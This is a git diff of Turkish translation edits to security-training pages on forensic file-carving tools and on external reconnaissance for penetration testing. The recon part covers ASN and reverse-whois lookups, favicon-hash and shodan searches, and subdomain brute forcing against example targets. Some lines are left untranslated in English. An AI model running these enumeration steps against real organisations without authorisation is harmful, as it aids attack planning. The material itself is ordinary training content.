[**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın. +Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. Bunu indirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın. ## Binwalk -**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir. -**Faydalı komutlar**: +**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosyaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir. +**Kullanışlı komutlar**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file @@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ## Foremost -Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. +Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -26,7 +26,7 @@ foremost -v -i file.img -o output ``` ## **Scalpel** -**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından \(_/etc/scalpel/scalpel.conf_\) yorum satırından çıkarmanız gerekecektir. +**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir. ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -39,7 +39,7 @@ Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabil ```text bulk_extractor memory.img -o out_folder ``` -Tüm **bilgileri** gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/)\), **garip alan adları** arayın \( **kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\). +Tüm bilgileri gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/index.html)\), **garip alan adları** arayın \(**kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\). ## PhotoRec @@ -53,7 +53,7 @@ GUI ve CLI sürümü ile gelir. PhotoRec'in aramasını istediğiniz **dosya tü ## FindAES -Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir. +Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker tarafından kullanılan 128, 192 ve 256 bit anahtarları bulabilir. [Buradan](https://sourceforge.net/projects/findaes/) indirin. diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 27d36e706..8baebfdfc 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -1,20 +1,20 @@ -# Dosya/Veri Oymacılığı ve Kurtarma Araçları +# Dosya/Veri Oyması & Kurtarma Araçları {{#include ../../../banners/hacktricks-training.md}} -## Oymacılık ve Kurtarma Araçları +## Oymak & Kurtarma araçları Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için değil olduğunu unutmayın. +Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için olmadığını unutmayın. ### Binwalk -**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` aracılığıyla kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. +**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için kullanılan bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. -**Faydalı komutlar**: +**Kullanışlı komutlar**: ```bash sudo apt install binwalk #Insllation binwalk file #Displays the embedded data in the given file @@ -31,7 +31,7 @@ foremost -v -i file.img -o output ``` ### **Scalpel** -**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir başka araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorumdan çıkarmanız gerekecektir. +**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir. ```bash sudo apt-get install scalpel scalpel file.img -o output @@ -44,7 +44,7 @@ Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabil ``` bulk_extractor memory.img -o out_folder ``` -Tüm **bilgileri** (şifreler?) toplayan aracın üzerinden geçin, **paketleri analiz edin** (oku[ **Pcaps analizi**](../pcap-inspection/)), **garip alan adlarını** ( **kötü amaçlı yazılım** veya **var olmayan** alan adlarıyla ilgili) arayın. +Tüm **bilgileri** (şifreler?) **gözden geçirin**, **paketleri analiz edin** (okuyun [**Pcaps analizi**](../pcap-inspection/index.html)), **garip alan adlarını** (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili) arayın. ### PhotoRec @@ -56,22 +56,22 @@ GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya t ### binvis -[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracını](https://binvis.io/#/) kontrol edin. +[Kodunu](https://code.google.com/archive/p/binvis/) ve [web sayfası aracını](https://binvis.io/#/) kontrol edin. #### BinVis'in Özellikleri - Görsel ve aktif **yapı görüntüleyici** - Farklı odak noktaları için birden fazla grafik - Bir örneğin bölümlerine odaklanma -- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları görme** +- PE veya ELF yürütülebilir dosyalarda **dizeleri ve kaynakları** görme - Dosyalar üzerinde kriptoanaliz için **desenler** elde etme -- **Paketleyici** veya kodlayıcı algoritmalarını **belirleme** +- **Packer** veya kodlayıcı algoritmalarını **belirleme** - Desenler ile Steganografi **tanımlama** - **Görsel** ikili fark analizi BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**. -## Özel Veri Karıştırma Araçları +## Özel Veri Oymacılık Araçları ### FindAES diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index a9dd0737d..2a4fd18f7 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,7 +10,7 @@ Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardın 1. Ana şirketin satın almalarını bulmak, bu bize kapsam içindeki şirketleri verecektir. 2. Her şirketin ASN'sini (varsa) bulmak, bu bize her şirketin sahip olduğu IP aralıklarını verecektir. -3. İlkine bağlı diğer girişleri (organizasyon isimleri, alan adları...) aramak için ters whois sorgulamaları kullanmak (bu yinelemeli olarak yapılabilir). +3. İlkine bağlı diğer girişleri (organizasyon adları, alan adları...) aramak için ters whois sorgulamaları kullanmak (bu yinelemeli olarak yapılabilir). 4. Diğer varlıkları aramak için shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanmak (bu `ssl` hilesi yinelemeli olarak yapılabilir). ### **Satın Almalar** @@ -26,15 +26,15 @@ Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve ** Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\ Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir. -**Şirketin herhangi bir ASN atayıp atamadığını bulmak** ve **IP aralıklarını** öğrenmek ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\ -**Şirket adı**, **IP** veya **alan adı** ile [**https://bgp.he.net/**](https://bgp.he.net)**'de** arama yapabilirsiniz.\ -**Şirketin bulunduğu bölgeye bağlı olarak, daha fazla veri toplamak için bu bağlantılar faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. +**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\ +[**https://bgp.he.net/**](https://bgp.he.net) adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\ +**Şirketin bulunduğu bölgeye bağlı olarak, bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** yararlı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nın** alt alan adı sayımı, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler. +Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adları belirlemesi, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -77,33 +77,33 @@ dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -Bu işlemin çalışması için, yöneticinin PTR'yi manuel olarak etkinleştirmesi gerekir.\ -Bu bilgi için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.com/](http://ptrarchive.com) +For this to work, the administrator has to enable manually the PTR.\ +You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) -### **Ters Whois (döngü)** +### **Reverse Whois (loop)** -Bir **whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz... Ancak daha da ilginç olan, bu alanlardan herhangi biriyle **ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilmenizdir (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\ -Aşağıdaki çevrimiçi araçları kullanabilirsiniz: +Inside a **whois** you can find a lot of interesting **bilgiler** like **organizasyon adı**, **adres**, **e-postalar**, telefon numaraları... Ama daha da ilginç olanı, **bu alanlardan herhangi biriyle ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilirsiniz (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\ +You can use online tools like: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz** - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz olmayan API. +- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz API değil. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama) - [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil -Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink) kullanarak otomatikleştirebilirsiniz (bir whoxy API anahtarı gerektirir).\ -Ayrıca [amass](https://github.com/OWASP/Amass) ile bazı otomatik ters whois keşifleri gerçekleştirebilirsiniz: `amass intel -d tesla.com -whois` +You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ +You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -**Bu tekniği her yeni alan adı bulduğunuzda daha fazla alan adı keşfetmek için kullanabileceğinizi unutmayın.** +**Note that you can use this technique to discover more domain names every time you find a new domain.** -### **İzleyiciler** +### **Trackers** -Eğer 2 farklı sayfada **aynı izleyicinin aynı ID'sini** bulursanız, **her iki sayfanın** da **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\ -Örneğin, birkaç sayfada aynı **Google Analytics ID'sini** veya aynı **Adsense ID'sini** görüyorsanız. +If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ +For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. -Bu izleyicilerle ve daha fazlasıyla arama yapmanıza olanak tanıyan bazı sayfalar ve araçlar vardır: +There are some pages and tools that let you search by these trackers and more: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -113,16 +113,16 @@ Bu izleyicilerle ve daha fazlasıyla arama yapmanıza olanak tanıyan bazı sayf ### **Favicon** -Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi hash'ini arayarak bulabileceğimizi biliyor muydunuz? Bu, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracının tam olarak yaptığı şeydir. İşte nasıl kullanacağınız: +Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` -![favihash - aynı favicon simgesi hash'ine sahip alanları keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) +![favihash - aynı favicon simgesi hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alanları keşfetmemizi sağlar. +Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar. -Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: +Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon'unun hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -141,16 +141,16 @@ return fhash ``` ### **Copyright / Uniq string** -Farklı web siteleri arasında **paylaşılabilecek dizgileri** arayın. **Telif hakkı dizgisi** iyi bir örnek olabilir. Ardından bu dizgiyi **google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"` +Farklı web siteleri arasında **paylaşılabilecek dizgeleri** arayın. **Telif hakkı dizgesi** iyi bir örnek olabilir. Ardından bu dizgeyi **google**, diğer **tarayıcılar** veya hatta **shodan** üzerinde arayın: `shodan search http.html:"Copyright string"` ### **CRT Time** -Genellikle bir cron işi olması yaygındır. +Bir cron işi olması yaygındır. ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` -sunucudaki tüm alan adı sertifikalarını yenilemek. Bu, bunun için kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmanın mümkün olduğu** anlamına gelir.\ +sunucudaki tüm alan adı sertifikalarını yenilemek. Bu, bu işlem için kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamaması durumunda bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alan adlarını bulmanın mümkün olduğu** anlamına gelir.\ Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). ### Mail DMARC bilgileri @@ -159,7 +159,7 @@ Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/ ### **Pasif Ele Geçirme** -Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece bir bulutta (örneğin Digital Ocean) **bir VM oluşturmak**, aslında **bazı alt alan adlarını ele geçirmek** anlamına gelir. +Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece **bir VM oluşturmak** (örneğin Digital Ocean'da) aslında **bazı alt alan adlarını ele geçireceksiniz**. [**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **Virustotal'da ona işaret eden alt alan adı kayıtlarını arayan** bir script öneriyor. @@ -169,9 +169,9 @@ Görünüşe göre, insanların alt alan adlarını bulut sağlayıcılarına ai **Shodan** -IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi shodan'da aramak için: `org:"Tesla, Inc."` kullanabilirsiniz. Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin. +IP alanına sahip olan kuruluşun adını zaten bildiğiniz için, bu veriyi shodan'da arayabilirsiniz: `org:"Tesla, Inc."` Bulunan hostları TLS sertifikasında yeni beklenmedik alan adları için kontrol edin. -Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikalarında** o adı arayabilirsiniz, filtre ile: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. +Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikalarında** o adı arayabilirsiniz: `ssl:"Tesla Motors"` veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. **Assetfinder** @@ -179,9 +179,9 @@ Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** al ### **Zafiyet arama** -Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirkete bildirin. +Bazı [alan adı ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan adı kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin. -Eğer bulduğunuz varlık keşfinde zaten bulduğunuz IP'lerden farklı bir IP'ye sahip herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları** bulabilirsiniz.\ +Eğer bulduğunuz **alan adlarından farklı bir IP'ye sahip** herhangi bir **alan adı** bulursanız, **temel bir zafiyet taraması** (Nessus veya OpenVAS kullanarak) ve bazı [**port taramaları**](../pentesting-network/index.html#discovering-hosts-from-the-outside) ile **nmap/masscan/shodan** yapmalısınız. Hangi hizmetlerin çalıştığına bağlı olarak, **bu kitapta "saldırmak" için bazı ipuçları bulabilirsiniz**.\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## Alt Alan Adları @@ -195,7 +195,7 @@ Bulunan her alan adının tüm olası alt alan adlarını bulma zamanı. ### **DNS** -**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu bildirmelisiniz). +**DNS** kayıtlarından **alt alan adlarını** almaya çalışalım. Ayrıca **Zone Transfer** için de denemeliyiz (Eğer savunmasızsa, bunu rapor etmelisiniz). ```bash dnsrecon -a -d tesla.com ``` @@ -287,7 +287,7 @@ crt tesla.com # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'de JS dosyalarını arayıp oradan alt alan adlarını çıkarırlar. +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Web'den JS dosyalarını arayıp buradan alt alan adlarını çıkarırlar. ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -321,7 +321,7 @@ Bu araçların birçokunun **karşılaştırmasını** burada bulabilirsiniz: [h ### **DNS Kaba Kuvvet** -Yeni **alt alanları** bulmak için olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle deneyelim. +Olası alt alan adlarını kullanarak DNS sunucularını kaba kuvvetle yeni **alt alanlar** bulmaya çalışalım. Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olacak: @@ -331,7 +331,7 @@ Bu işlem için bazı **yaygın alt alan kelime listelerine** ihtiyacınız olac - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -Ayrıca iyi DNS çözümleyicilerin IP'lerine de ihtiyacınız var. Güvenilir DNS çözümleyicilerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözümleyicileri indirebilir ve [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanarak filtreleyebilirsiniz. Ya da şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +Ayrıca iyi DNS çözümleyicilerin IP'lerine de ihtiyacınız var. Güvenilir DNS çözümleyicilerin bir listesini oluşturmak için [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) adresinden çözümleyicileri indirebilir ve bunları filtrelemek için [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) kullanabilirsiniz. Ya da şunu kullanabilirsiniz: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) DNS kaba kuvvet için en çok önerilen araçlar şunlardır: @@ -345,7 +345,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve aktif brute force kullanarak geçerli alt alan adlarını listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar. +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns), `massdns` etrafında yazılmış bir go wrapper'ıdır ve geçerli alt alan adlarını aktif brute force kullanarak listelemenizi sağlar, ayrıca alt alan adlarını wildcard yönetimi ile çözümleyebilir ve kolay girdi-çıktı desteği sunar. ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) alan adlarını asenkron olarak zorlamak için asyncio kullanır. +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) asenkron olarak alan adlarını zorlamak için asyncio kullanır. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` @@ -365,8 +365,8 @@ Açık kaynaklar ve kaba kuvvet kullanarak alt alan adlarını bulduktan sonra, ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): Verilen alan adları ve alt alan adları için permütasyonlar oluşturur. -- goaltdns permütasyonlarını **wordlist** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. +- [**goaltdns**](https://github.com/subfinder/goaltdns): Verilen alan adları ve alt alan adları için permutasyonlar oluşturur. +- goaltdns permutasyonlarını **wordlist** olarak [**buradan**](https://github.com/subfinder/goaltdns/blob/master/words.txt) alabilirsiniz. ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` @@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıt rehberli algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezler ve DNS taraması sırasında toplanan bilgilere dayalı olarak bunları bir döngüde daha da genişletir. +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_, bir alt alan brute-force fuzzer'dır ve son derece basit ama etkili bir DNS yanıt rehberli algoritma ile birleştirilmiştir. Sağlanan bir girdi veri setini, özel bir kelime listesi veya tarihsel DNS/TLS kayıtları gibi, kullanarak daha fazla ilgili alan adı sentezlemek ve bunları DNS taraması sırasında toplanan bilgilere dayalı olarak bir döngüde daha da genişletmek için kullanır. ``` echo www | subzuf facebook.com ``` @@ -413,15 +413,15 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/ ### **VHosts / Sanal Ana Bilgiler** -Eğer bir IP adresinde **bir veya birkaç web sayfası** bulduysanız, **o IP'deki diğer alt alanları bulmaya 